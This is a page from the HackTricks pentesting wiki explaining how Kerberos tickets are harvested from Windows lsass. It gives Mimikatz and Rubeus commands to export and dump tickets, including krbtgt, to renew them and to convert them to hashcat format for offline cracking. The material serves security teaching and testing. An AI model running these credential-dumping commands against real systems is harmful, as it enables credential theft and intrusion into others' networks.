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68 lines
4.1 KiB
Markdown
68 lines
4.1 KiB
Markdown
# Harvesting tickets from Windows
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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Tickets in Windows are managed and stored by the **lsass** (Local Security Authority Subsystem Service) process, responsible for handling security policies. To extract these tickets, it's necessary to interface with the lsass process. A non-administrative user can only access their own tickets, while an administrator has the privilege to extract all tickets on the system. For such operations, the tools **Mimikatz** and **Rubeus** are widely employed, each offering different commands and functionalities.
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### Mimikatz
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Mimikatz is a versatile tool that can interact with Windows security. It's used not only for extracting tickets but also for various other security-related operations.
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```bash
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# Extracting tickets using Mimikatz
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sekurlsa::tickets /export
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```
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### Rubeus
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Rubeus is a tool specifically tailored for Kerberos interaction and manipulation. It's used for ticket extraction and handling, as well as other Kerberos-related activities.
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```bash
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# Dumping all tickets using Rubeus
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.\Rubeus dump
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[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
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# Listing all tickets
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.\Rubeus.exe triage
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# Dumping a specific ticket by LUID
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.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
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[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
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# Renewing a ticket
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.\Rubeus.exe renew /ticket:<BASE64_TICKET>
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# Converting a ticket to hashcat format for offline cracking
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.\Rubeus.exe hash /ticket:<BASE64_TICKET>
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```
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When using these commands, ensure to replace placeholders like `<BASE64_TICKET>` and `<luid>` with the actual Base64 encoded ticket and Logon ID respectively. These tools provide extensive functionality for managing tickets and interacting with the security mechanisms of Windows.
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## References
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* [https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
|
|
|
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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